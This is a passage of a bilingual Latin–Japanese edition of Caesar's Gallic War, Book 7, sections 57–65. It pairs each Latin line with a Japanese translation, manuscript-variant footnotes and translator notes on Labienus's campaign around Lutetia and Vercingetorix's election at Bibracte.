**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#10節|10節]]で既述のように、カエサルはアゲディンクム（現在の[[w:サンス|サンス]]）に全軍の輜重を残していた。）&lt;/span&gt;
*cum quattuor legionibus Luteciam&lt;ref&gt;Luteciam はα系写本の記述で、π系写本では Luceciam 、ρ系写本では Lucetiam となっている。[[ガリア戦記 第6巻#3節|第6巻3節]]では Lutetia(m) とも綴られている。&lt;/ref&gt; proficiscitur. 
**4個軍団とともに[[w:ルテティア|ルテティア]]に出発した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ルテティア Lutetia は写本ではルテキア Lutetia とも綴られる。[[ガリア戦記 第6巻#3節|第6巻3節]]を参照。）&lt;/span&gt;
*Id est oppidum Parisiorum, quod positum est&lt;ref&gt;quod positum est はα系写本の記述で、β系写本では単に positum となっている。&lt;/ref&gt; in insula fluminis [[w:la:Sequana|Sequanae]]. 
**それ（ルテティア）は[[w:パリシイ族|パリスィイ族]]の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で、セクアナ川（＝現[[w:セーヌ川|セーヌ川]]）の中洲に位置している。
*②　Cuius adventu ab hostibus cognito 
**彼（ラビエーヌス）の到来が敵方により知られると、
*magnae ex finitimis civitatibus copiae convenerunt. 
**近隣の諸部族から大軍勢が集結していた。
*③　Summa imperii traditur Camulogeno Aulerco, 
**（北部ガッリア勢の）最高司令権は、[[w:アウレルキ族|アウレルキ族]]の[[w:カムロゲヌス|カムロゲヌス]]に託された。
*qui prope confectus aetate 
**その者はかなり年老いていたが、
*tamen propter singularem scientiam rei militaris ad eum est honorem evocatus. 
**けれども、彼の卓越した軍事の知識のために、顕職に召集されたのだ。
*④　Is cum animadvertisset perpetuam esse paludem, 
**彼（カムロゲヌス）は、沼地が絶え間なくあることに気付いていたので、
*quae influeret in Sequanam atque illum omnem locum magnopere impediret, 
**それはセクアナ（川）に流れ込み、かの一帯すべてを大いに近付きにくくしていたので、
*hic consedit nostrosque transitu prohibere instituit.
**ここに陣取って、我が方（ローマ勢）が渡河するのを妨げることに決めた。

===58節===
'''ラビエーヌスがメトロセドゥムを陥落させ、ルテティアのガッリア勢と対峙'''
*①　[[w:la:Titus Labienus|Labienus]] primo vineas agere, cratibus atque aggere paludem explere 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は初めに、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を駆ること、柴や土砂で沼地を埋め立てること、
*atque iter munire conabatur. 
**および道を築くこと、を試みた。
*②　Postquam id difficilius confieri&lt;ref&gt;confieri はχ系･β系写本の記述で、Q写本では confici となっている。&lt;/ref&gt; animadvertit, 
**それが成し遂げられることが困難だと気付いた後で、
*silentio e castris tertia vigilia egressus 
**（敵に知られないように）静けさのうちに第三夜警時に陣営から進発して、
*eodem, quo venerat, itinere Metlosedum&lt;ref&gt;Metlosedum はコンスタン L.-A. Constans による修正で、π系･U写本では Metiosedum 、α系･ρ系写本では Mellodunum などとなっており、写本により表記がさまざまである。&lt;/ref&gt; pervenit. 
**やって来たのと同じ道程により、メトロセドゥムに到達した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：メトロセドゥム Metlosedum は、写本によりメティオセドゥム Metiosedum とも綴られ、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;後にはメロドゥーヌム [[w:la:Melodunum|Melodunum]] として知られる。現在の[[w:ムラン|ムラン]] [[w:fr:Melun|Melun]] である。）&lt;/span&gt;
*③　Id est oppidum [[w:la:Senones|Senonum]] in insula [[w:la:Sequana|Sequanae]] positum, ut paulo ante de [[w:la:Lutetia|Lutecia]] diximus. 
**それはセノネース族の城塞都市で、少し前に[[w:ルテティア|ルテティア]]について述べたように、セクアナ川の[[w:中州|中州]]に位置している。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ルテティアすなわち現在の[[w:パリ|パリ]]の中心部に[[w:シテ島|シテ島]]や[[w:サン＝ルイ島|サン＝ルイ島]]という[[w:セーヌ川|セーヌ川]]の中州があるように、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;現在のムランの中心部にもサン＝テティエンヌ島 [[w:fr:Île Saint-Étienne|Île Saint-Étienne]] というセーヌ川の中州がある。）&lt;/span&gt;
*④　Deprensis&lt;ref&gt;deprensis という語形はα系写本の記述で、β系写本では deprehensis となっている。&lt;/ref&gt; navibus circiter quinquaginta celeriterque coniunctis 
**約50隻の船を探し出して、速やかに結び合わせて（舟橋として）、
*atque eo militibus iniectis 
**そこに兵士たちを投入して、
*et rei novitate perterritis oppidanis, 
**事の新奇さに&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の者たちは脅えて、
*quorum magna pars erat ad bellum evocata, 
**彼ら（住民）の大部分は戦争へ徴集されていた（ため不在であった）ので、
*sine contentione oppido potitur. 
**（ラビエーヌスは）闘うことなしに（中州にあるメトロセドゥムの）城塞都市を掌握した。
*⑤　Refecto ponte, quem superioribus diebus hostes resciderant, exercitum traducit 
**それ以前の日々に敵方が破却していた橋を再建して、軍隊を（中州から対岸へ）渡らせて、
*et secundo flumine ad Luteciam iter facere coepit. 
**川に沿ってルテティアの方へ行軍を始めた。
*⑥　Hostes re cognita ab iis, qui Metlosedo&lt;ref&gt;Metlosedo はコンスタン L.-A. Constans による修正で、β系･S写本では Metiosedo 、χ系写本では Melloduno 、B･M･L･N写本では Ametlodone（あるいは Ametclodone）などとなっている。&lt;/ref&gt; fugerant, 
**敵方は、メトロセドゥムから逃げて来た者たちから事態を知って、
*Luteciam incendi pontesque eius oppidi rescindi iubent; 
**ルテティアを焼打ちすること、その城塞都市の橋を破却すること、を命じた。
*ipsi profecti a palude ad ripas&lt;ref&gt;ad ripas はχ系･B･M･L･N写本の記述で、S･Vおよびρ系写本では in ripas 、T写本では in ripa となっている。&lt;/ref&gt; Sequanae 
**彼ら自身は、沼地からセクアナの川岸へ出発して、
*e regione Luteciae contra Labieni castra considunt.
**ルテティア（の対岸）に向かってラビエーヌスの陣営に対抗して陣取った。

===59節===
'''ガッリア諸部族が迫り、ラビエーヌスが作戦変更を決断'''
*①　Iam Caesar a [[w:la:Gergovia|Gergovia]] discessisse audiebatur, 
**すでに、カエサルが[[w:ゲルゴウィア|ゲルゴウィア]]から撤退したことが聞かれていたし、
*iam de [[w:la:Haedui|Haeduorum]] defectione et secundo Galliae motu rumores adferebantur, 
**もはや、[[w:ハエドゥイ族|ハエドゥイー族]]の背反や、ガッリアの動乱の順調さについての噂がもたらされていた。
*Gallique in conloquiis 
**（当地の）ガッリア人たちは会話の中で、
*interclusum itinere et [[w:la:Liger|Ligeri]] Caesarem inopia frumenti coactum in provinciam contendisse confirmabant. 
**カエサルが行軍やリゲル（渡河）を遮られて、糧食の欠乏により属州（[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]）に急ぐことを強いられた、と確言した。
*②　Bellovaci autem defectione Haeduorum cognita, 
**一方で、ベッロウァキ族もハエドゥイー族の背反を知って、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ベッロウァキ族は、ハエドゥイー族の仲介によりカエサルに降伏していた。[[ガリア戦記 第2巻#14節|第2巻14節]]～15節を参照。）&lt;/span&gt;
*qui iam&lt;ref&gt;qui iam は古典学者 ニコラエス・ハインシウス1世 [[w:en:Nikolaes_Heinsius_the_Elder|Nikolaes Heinsius the Elder]] による修正提案で、χ系･S･β系写本では qui 、B･M･L･N写本では quia となっている。&lt;/ref&gt; ante erant per se infideles, 
**彼ら自身もすでに以前から（カエサルやローマ人に）忠誠的でなかったが、
*manus cogere atque aperte bellum parare coeperunt. 
**手勢を徴集して、公けに戦争を準備することを始めた。
*③　Tum [[w:la:Titus Labienus|Labienus]] tanta rerum commutatione 
**そこで、[[w:ティトゥス・ラビエヌス|ラビエーヌス]]はこれほどの事態の変動により、
*longe aliud sibi capiendum consilium, atque antea senserat, intellegebat, 
**自分にとって、以前に判断していたのとはまったく別の作戦が立てられるべきだ、と考えた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：aliud ～ atque …「…とは別の～」）&lt;/span&gt;
*④　neque iam, ut aliquid adquireret proelioque hostes lacesseret, 
**もはや、何らかのものを獲得したり、敵方に戦闘を挑むようにではなく、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：neque ut ～, sed ut …「～ようにではなく、…ように」）&lt;/span&gt;
*sed ut incolumem exercitum Agedincum reduceret, cogitabat. 
**軍隊を無傷のままでアゲディンクム（＝現[[w:サンス|サンス]]）に連れ戻すように、と考えた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：アゲディンクムには輜重と守備隊が残されていた。[[#10節|10節]]・[[#57節|57節]]を参照。）&lt;/span&gt;
*⑤　Namque altera ex parte Bellovaci, 
**実際、一方の側からはベッロウァキ族が、
*quae civitas in Gallia maximam habet opinionem virtutis, instabant, 
**ガッリアにおいて武勇に最大の評判を持つその部族が、迫りつつあった。
*alteram Camulogenus parato atque instructo exercitu tenebat: 
**他方からは、カムロゲヌスが軍隊を準備し、整列させて、進んでいた。
*tum legiones a praesidio atque impedimentis interclusas 
**そのとき、（ラビエーヌス麾下の）諸軍団は（アゲディンクムにいる）守備隊や輜重から遮られて、
*maximum flumen distinebat. 
**とても大きな（セクアナ）川が阻んでいた。
*⑥　Tantis subito difficultatibus obiectis 
**突然に、これほどの困難が投げ出されたので、
*ab animi virtute auxilium petendum videbat.
**武勇の心構えに救いを求めるべきだと（ラビエーヌスは）思った。

===60節===
'''ラビエーヌスが陽動戦術に努める'''
*①　Itaque&lt;ref&gt;Itaque はS･β系写本の記述で、α系写本にはない。&lt;/ref&gt; sub vesperum consilio convocato 
**こうして（[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は）夕方に会議を召集して、
*cohortatus, ut ea, quae imperasset, diligenter industrieque administrarent, 
**（彼が）命令したことを入念かつ勤勉に従事するように鼓舞した。
*naves, quas [[w:la:Melodunum|Metlosedo]]&lt;ref&gt;Metlosedo はコンスタン L.-A. Constans による修正で、χ系･S･β系写本では Metiosedo 、B･M写本では  ameclodone 、L･N写本では a mellodone 、&lt;i&gt;etc&lt;/i&gt;. となっている。&lt;/ref&gt; deduxerat, singulas equitibus Romanis attribuit, 
**[[w:ムラン|メトロセドゥム]]から引いて来ていた船団を、ローマ人騎士たち1人ずつに配分して、
*et prima confecta vigilia IIII(quattuor) milia passuum secundo flumine silentio progredi 
**第一夜警時が終わる頃に、4ローママイル（6km弱）下流に静けさのうちに進発すること、
*ibique se exspectari&lt;ref&gt;exspectari はα系･T･ρ系写本の記述で、S･V写本では exspectare などとなっている。&lt;/ref&gt; iubet. 
**かつ、そこで自分（ラビエーヌス）を待つことを命じた。
*②　Quinque cohortes, quas minime firmas ad dimicandum esse existimabat, 
**（白兵戦を）闘うためにはあまり強くないと（ラビエーヌスが）考えていた5個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; 
*castris praesidio relinquit; 
**陣営にとっての守備隊として残留させた。
*quinque eiusdem legionis reliquas 
**同じ軍団の残りの5個（歩兵大隊）を
*de media nocte cum omnibus impedimentis adverso flumine magno tumultu proficisci imperat. 
**真夜中から、すべての[[w:輜重|輜重]]とともに、上流の方に大きな喧騒でもって出発することを命令した。
*④　Conquirit etiam lintres; 
**小舟さえも探し集めて、
*has magno sonitu remorum incitatas in eandem partem mittit. 
**これらを大きな音とともに[[w:櫂|櫂]]を駆って、同じ方面に派遣した。
*Ipse post paulo silentio egressus cum tribus legionibus 
**（ラビエーヌス）自身は、少し後で静けさのうちに3個[[w:ローマ軍団|軍団]]とともに進発して、
*eum locum petit, quo naves appelli iusserat.
**船団が停められることを命じていた地点へ行った。

===61節===
'''ラビエーヌスの陽動により、敵将カムロゲヌスが兵力を分散'''
*①　Eo cum esset ventum, 
**（ラビエーヌスの軍勢が）そこにやって来たときに、
*exploratores hostium, ut omni fluminis parte erant dispositi, 
**敵方の偵察者たちが（セクアナ）川の至る所に分けて置かれていたが、
*inopinantes, quod magna subito erat coorta tempestas, 
**突然に大きな嵐が生じたので（ローマ勢の襲撃を）予期していなかった者たちは、
*ab&lt;ref&gt;ab はχ系･B･M･L･N写本の記述で、S･β系写本では a となっている。&lt;/ref&gt; nostris opprimuntur; 
**我が方（ローマ勢）によって不意を襲われたのだ。
*②　exercitus equitatusque equitibus Romanis administrantibus, quos ei negotio praefecerat, 
**歩兵隊と騎兵隊が、（ラビエーヌスが）任務を指揮させていたローマ人騎士たちの指導により、
*celeriter transmittitur. 
**速やかに（セクアナ川を）渡らせられた。
*③　Uno fere tempore sub lucem hostibus nuntiatur 
**夜明け前のほぼ一時に（以下のことが）敵方に報知された。
*in castris Romanorum praeter consuetudinem tumultuari 
**ローマ人の陣営において、通例に反して、騒がれていること、
*et magnum ire agmen adverso flumine 
**大きな隊列が上流の方へ行軍していること、
*sonitumque remorum in eadem parte exaudiri 
**（船を漕ぐ）櫂の音が同じ方面で聞き取られたこと、
*et paulo infra milites navibus transportari. 
**少し下流で兵士たちが船で（セクアナ川を）渡されたこと、である。
*④　Quibus rebus auditis, 
**それらの事態が聞かれて、
*quod existimabant tribus locis transire legiones atque omnes perturbatos defectione [[w:la:Haedui|Haeduorum]] fugam parare, 
**（ローマ勢の）諸軍団が3か所で渡河したこと、[[w:ハエドゥイ族|ハエドゥイー族]]の背反により総勢が取り乱して逃亡を準備していること、を考えたので、
*suas quoque copias in tres partes distribuerunt. 
**自分たちの軍勢をも3方面に分配した。
*⑤　Nam praesidio e regione castrorum relicto 
**すなわち（一隊がローマ勢の）陣営の真向かいに守備隊として残され、
*et parva manu Metlosedum&lt;ref&gt;Metlosedum はQ写本の記述で、χ系･β系写本では Metiosedum 、などとなっている。&lt;/ref&gt; versus missa, 
**（別の）わずかな手勢が[[w:ムラン|メトロセドゥム]]の方面へ派遣され、
*quae tantum progrediatur&lt;ref&gt;progrediatur はα系写本の記述で、Q･S･β系写本では progrederetur となっている。&lt;/ref&gt;, quantum naves processissent, 
**（ローマ勢の）船団が進み出るだけ、（ガッリア兵も）前進するようにした。
*reliquas copias contra Labienum duxerunt.
**残りを軍勢をラビエーヌスに対して（カムロゲヌス自身が）率いて行った。

===62節===
'''ラビエーヌスがカムロゲヌス麾下のガッリア勢を各個撃破して、カエサルと合流'''
*①　Prima luce et nostri omnes erant transportati 
**夜明けに、我が方（ローマ勢）は総勢が（セクアナ川の左岸に）渡されていたし、
*et hostium acies cernebatur. 
**敵方の戦列も見分けられた。
*②　[[w:la:Titus Labienus|Labienus]] milites cohortatus, 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は兵士たちを（以下のように）鼓舞した。
*ut suae pristinae virtutis et tot&lt;ref&gt;tot はS･β系写本の記述で、α系写本にはない。&lt;/ref&gt; secundissimorum proeliorum retinerent memoriam&lt;ref&gt;retinerent memoriam はχ系･B･M･L･N写本の記述で、S･β系写本では memoriam retinerent となっている。&lt;/ref&gt; 
**自分たちのかつての武勇とこのようにとてもうまくいっている諸戦闘を記憶に留めるように、
*atque ipsum Caesarem, cuius ductu saepe numero hostes superassent, praesentem adesse existimarent, 
**かつ、その指揮によって何度もしばしば敵方を打ち破って来たカエサル当人が目下居合わせていると考えるように、と。
*dat signum proelii. 
**（それから）戦闘の号令を発した。
*③　Primo concursu ab dextro cornu, ubi septima legio constiterat, 
**最初の激突は、[[w:第7軍団クラウディア・ピア・フィデリス|第7軍団]]が布陣していた（ローマ軍の）右翼からで、
*hostes pelluntur atque in fugam coniciuntur; 
**敵方は撃退されて、逃亡に追いやられた。
*④　ab sinistro, quem locum duodecima legio tenebat, 
**第12軍団が場所を占めていた左翼からは、
*cum primi ordines hostium transfixi pilis&lt;ref&gt;pilis はβ系写本の記述で、α系写本では telis となっている。&lt;/ref&gt; concidissent, 
**敵方の最前列（の兵たち）が投げ槍で突き通されて斃れたのだが、
*tamen acerrime reliqui resistebant 
**けれども残りの者たちがとても激烈に抵抗していて、
*nec dabat suspicionem fugae quisquam. 
**誰も逃亡の予兆を示さなかった。
*⑤　Ipse dux hostium Camulogenus suis aderat atque eos cohortabatur. 
**敵方の将帥カムロゲヌス自身は、麾下の者たちに居合わせて、彼らを激励していた。
*⑥　At&lt;ref&gt;cohortabatur. At はχ系写本などの記述で、別の写本では記述が異なる。&lt;/ref&gt; incerto nunc etiam&lt;ref&gt;nunc etiam はB･M･L･N写本の記述で、χ系･S･β系写本では etiamnunc となっている。&lt;/ref&gt; exitu victoriae, 
**勝敗の帰趨は今もなお不確実だったが、
*cum septimae legionis tribunis esset nuntiatum, quae in sinistro cornu gererentur, 
**第7軍団の&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、左翼で&lt;ruby&gt;&lt;rb&gt;出来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅったい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;したことが報告されたときに、
*post tergum hostium legionem ostenderunt signaque intulerunt. 
**敵方の背後に（第7）軍団を差し向けて、軍旗を進めた（＝進撃した）。
*⑦　Ne eo quidem tempore quisquam loco cessit, 
**その時でさえ、（ガッリア勢の）誰も（戦闘の）場から退却しなかった
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*sed circumventi omnes interfectique sunt. 
**けれども、総勢が包囲されて（ローマ軍により）殺戮された。
*Eandem fortunam tulit Camulogenus. 
**同じ不幸をカムロゲヌスも蒙った。
*⑧　At ii&lt;ref&gt;ii はχ系写本の記述で、他の写本では記述が異なる。&lt;/ref&gt;, qui praesidio contra castra Labieni erant relicti, 
**これに対して、ラビエーヌスの陣営に対して守備隊として残されていた（ガッリア勢の）者たちは、
*cum proelium commissum audissent, subsidio suis ierunt collemque ceperunt, 
**（両軍が）戦闘を交えているのを聞き付けたので、味方の援兵として出て行って、丘陵を占めていたが、
*neque nostrorum militum victorum impetum sustinere potuerunt. 
**勝勢の我が方（ローマ軍）の兵士たちの突撃を持ちこたえることができなかった。
*⑨　Sic cum suis fugientibus permixti, 
**このようにして、敗走している味方と混じり合ったときに、
*quos non silvae montesque texerunt, ab equitatu sunt interfecti. 
**森林や山岳が覆い隠すことのなかったその者たちは、（ローマ側の）騎兵隊によって殺戮された。
*⑩　Hoc negotio confecto Labienus revertitur Agedincum, 
**この戦役が成し遂げられると、ラビエーヌスは[[w:サンス|アゲディンクム]]に引き返した。
*ubi impedimenta totius exercitus relicta erant; 
**そこには軍隊全体の[[w:輜重|輜重]]が残されていたのだ。
*inde die Ⅲ.&lt;ref&gt;inde die Ⅲ. は近代の校訂者による修正提案で、Q･M･S･N･β系写本では単に inde 、他の写本では別の記述になっている。&lt;/ref&gt; cum omnibus copiis ad Caesarem pervenit.
**そこから3日目（＝2日後）にすべての軍勢とともにカエサルのところへ到着した。

==ガッリア戦乱の拡大==
===63節===
'''ハエドゥイー族がウェルキンゲトリークスに主導権争いを挑む'''
*①　Defectione [[w:la:Haedui|Haeduorum]] cognita bellum augetur. 
**[[w:ハエドゥイ族|ハエドゥイー族]]の背反が知られて、戦乱は拡大された。
*②　Legationes in omnes partes circummittuntur; 
**（ハエドゥイー族らにより）使節たちがあらゆる方面に遣わされまくり、
*quantum gratia, auctoritate, pecunia valent, ad sollicitandas civitates nituntur; 
**信望、勢力や金銭によってできる限り、諸部族をそそのかすことに努めた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quantum ～ valere「～によってできる限り」）&lt;/span&gt;
*③　nacti obsides, quos Caesar apud eos deposuerat,  
**カエサルが彼ら（ハエドゥイー族）のもとに預けて置いた人質たちを手に入れて、
*horum supplicio dubitantes territant.
**彼ら（人質たち）の処刑（を示唆すること）によって、決心がつかぬ者たちを恐れさせた。
*④　Petunt a [[w:la:Vercingetorix|Vercingetorige]] Haedui, ut ad se veniat rationesque belli gerendi communicet; 
**ハエドゥイー族は、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]に、自分たちのところへ来て戦争遂行の戦略を協議するように要求した。
*re impetrata contendunt, ut ipsis summa imperii tradatur. 
**その事が成し遂げられると、（ハエドゥイー族）自身に最高司令権が委ねられるように頑張った。
*Et re&lt;ref&gt;et re は近代の校訂者による修正提案で、β系写本では re 、α系写本では et rem となっている。&lt;/ref&gt; in controversiam deducta totius Galliae concilium [[w:la:Bibracte|Bibracte]] indicitur. 
**その事が論争の状態に置かれて、[[w:ビブラクテ|ビブラクテ]]でのガッリア全体の会合が公示された。
*Eodem conveniunt&lt;ref&gt;Eodem conveniunt はα系写本の記述で、β系写本では単に conveniunt 、etc.となっている。&lt;/ref&gt; undique frequentes. 
**同じところに至る所からたくさんの者たちが集まって来た。
*⑥　Multitudinis suffragiis res permittitur; 
**（最高司令権の）事は衆人の票決に任せられて、
*ad unum omnes Vercingetorigem probant imperatorem. 
**衆議一決により、ウェルキンゲトリークスを将軍（最高司令官）として承認した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ad unum omnes「最後の一人に至るまですべて」）&lt;/span&gt;
*⑦　Ab hoc concilio Remi, Lingones, Treveri afuerunt, 
**この会合へは、[[w:レミ族|レーミー族]]、リンゴネス族、トレウェリ族が不在であった。
*illi quod amicitiam Romanorum sequebantur, 
**前者（レーミー族とリンゴネス族）は、ローマ人との友好を遵守したので（不在であった）。
*Treveri quod aberant longius et ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; [[w:la:Germani|Germanis]] premebantur, 
**トレウェリ族は、はるか遠くに離れており、[[w:ゲルマニア|ゲルマニア]]人により圧迫されていた。
*quae fuit causa quare toto abessent bello 
**それが、何ゆえに（ウェルキンゲトリークスによる）戦争全体に関与しなかったかの理由であり、
*et neutris auxilia mitterent. 
**（ウェルキンゲトリークスとカエサルの）どちら側にも援軍を派遣しなかった。
*⑧　Magno dolore Haedui ferunt se deiectos principatu, 
**ハエドゥイー族は、自分たちが盟主の座から遠ざけられて、とても憤懣やるかたなかったし、
*queruntur fortunae commutationem 
**境遇の変わりようを嘆いて、
*et Caesaris indulgentiam in se&lt;ref&gt;indulgentiam in se はα系写本の記述で、β系写本では in se indulgentiam となっている。&lt;/ref&gt; requirunt 
**カエサルの自分たちへの寛大さを惜しんだ。
*neque tamen suscepto bello suum consilium ab reliquis separare audent. 
**けれども戦争を引き受けてしまったので、あえて自分たちの作戦計画をほか（の諸部族）と異にしなかった。
*⑨　Inviti summae spei adulescentes Eporedorix et Viridomarus Vercingetorigi parent.
**たいへんな野心を持つ青年たち[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]は、意に反してウェルキンゲトリークスに服従した。

===64節===
'''ウェルキンゲトリークスがガッリア諸部族の誘降・服従を謀る'''
*①　Ipse&lt;ref&gt;ipse はα系写本の記述で、β系写本では ille となっている。&lt;/ref&gt; imperat reliquis civitatibus obsides denique ei rei constituit diem; 
**（ウェルキンゲトリークス）自身は、ほかの諸部族に人質（の供出）を命令して、のみならずその事の期日を決めた。
*huc omnes equites, [[wikt:la:quindecim|XV(quindecim)]] milia numero, celeriter convenire iubet. 
**そこに、1万5000名の数のすべての[[w:騎兵|騎兵]]に、速やかに集結することを命じた。
*②　Peditatu quem antea habuerit se fore contentum dicit 
**（歩兵については）自分は、以前から持っていた[[w:歩兵|歩兵隊]]で満足するであろうと言った。
*neque fortunam temptaturum aut in acie&lt;ref&gt;in acie はα系写本の記述で、β系写本では単に acie となっている。&lt;/ref&gt; dimicaturum, 
**（歩兵で）武運を試すことはしないであろうし、あるいは野戦で（白兵戦を）闘うこともないであろう、と。
*sed quoniam abundet equitatu, 
**しかし、騎兵隊は豊富であるから、
*perfacile esse factu frumentationibus pabulationibusque Romanos prohibere; 
**ローマ人たちの糧食・糧秣徴発を妨げることは、とても容易である、と。
*③　aequo modo animo sua ipsi frumenta corrumpant aedificiaque incendant, 
**ただ平静な心で、自分たちの穀物を自身で傷めて、（穀物の）建屋を焼打ちするように。
*qua rei familiaris iactura perpetuum imperium libertatemque se consequi videant. 
**資産の犠牲により、永久の領有権と自由を自分たちが獲得することを思え、と。
*④　His constitutis rebus 
**これらの事が決定されると、
*[[w:la:Haedui|Haeduis]] Segusiavisque, qui sunt finitimi provinciae, decem milia peditum imperat; 
**[[w:ハエドゥイ族|ハエドゥイー族]]および（ローマ人の）属州に隣接するセグスィアウィ族には1万の歩兵（の供出）を命令していたが、
*huc addit equites [[wikt:la:octingenti|octingentos]]. 
**この中に、800騎の騎兵たち（の供出）を付け加えた。
*⑤　His praeficit fratrem Eporedorigis bellumque inferri&lt;ref&gt;inferri はα系写本の記述で、β系写本では inferre となっている。&lt;/ref&gt; Allobrogibus iubet. 
**彼らをエポレドリクスの兄弟に指揮させて、アッロブロゲス族に戦争をしかけることを命じた。
*⑥　Altera ex parte Gabalos proximosque &lt;u&gt;[[wikt:en:pagus#Latin|pagos]]&lt;/u&gt; Arvernorum in Helvios, 
**別の方面から、ガバリ族および近隣のアルウェルニー族の諸&lt;u&gt;郷&lt;/u&gt;に、ヘルウィイ族のところに（攻め入るように）、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''pagus'' (郷) はここでは、部族の領土の農村区画を指す行政用語&lt;ref name=&quot;pagus&quot;&gt;''[[w:en:Pagus]]'' 等を参照。&lt;/ref&gt;。）&lt;/span&gt;
*item Rutenos Cadurcosque ad fines Volcarum Arecomicorum depopulandos mittit. 
**同様に、ルテーニー族およびカドゥルキー族に、ウォルカエ・アレコミキ族の領土を荒らしまわるべく派遣した。
*⑦　Nihilo minus clandestinis nuntiis legationibusque Allobrogas&lt;ref&gt;Allobrogas はα系写本の記述で、β系写本では Allobroges となっている。&lt;/ref&gt; sollicitat, 
**それにもかかわらず、隠密に伝令たちや使節たちにより、アッロブロゲス族を（蜂起を）そそのかした。
*quorum mentes nondum ab&lt;ref&gt;ab はβ系写本の記述で、α系写本では ab となっている。&lt;/ref&gt; superiore bello resedisse sperabat. 
**彼ら（アッロブロゲス族）の心がかつての戦争からまだ静まっていないことを期待したのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：アッロブロゲス族は、BC61年にローマに反旗を翻し、翌BC60年に鎮圧されていた。[[ガリア戦記 第1巻#6節|第1巻6節]]を参照。）&lt;/span&gt;
*⑧　Horum principibus pecunias, 
**彼らの領袖たちに金銭を（約束し）、
*civitati autem imperium totius provinciae pollicetur.
**さらに部族には（カエサル統治下の）属州全体の支配権をも約束したのだ。

===65節===
'''カエサルと同盟諸部族の防戦。ゲルマニア騎兵を呼び寄せる'''
*①　Ad hos omnes casus provisa erant praesidia cohortium duarum et viginti, 
**これらすべての出来事に対して、（カエサルは）22個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からなる守備隊を用意していた。
*quae ex ipsa coacta&lt;ref&gt;coacta はχ系･β系写本の記述で、φ系写本にはない。&lt;/ref&gt; provincia ab L.(Lucio) Caesare legato 
**それらは、&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ルキウス・カエサルによって属州全体から徴集されたもので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ここでいう属州とは、[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]を指すと思われる。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;ルキウス・ユリウス・カエサル4世 [[w:en:Lucius Julius Caesar IV|Lucius Julius Caesar IV]] は本書の著者カエサルと4代前の高祖父を共有する元執政官。[[w:en:Julii Caesares|Julii Caesares]] を参照。）&lt;/span&gt;
*ad omnes partes opponebantur. 
**あらゆる方面に対して配置された。
*②　Helvii sua sponte cum finitimis proelio congressi pelluntur 
**[[w:ヘルウィイ族|ヘルウィイ族]]は、自分たちの意思により、近隣（の諸部族）と戦闘で争って撃退され、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この部族については[[#7節|7節]]～8節を参照。）&lt;/span&gt;
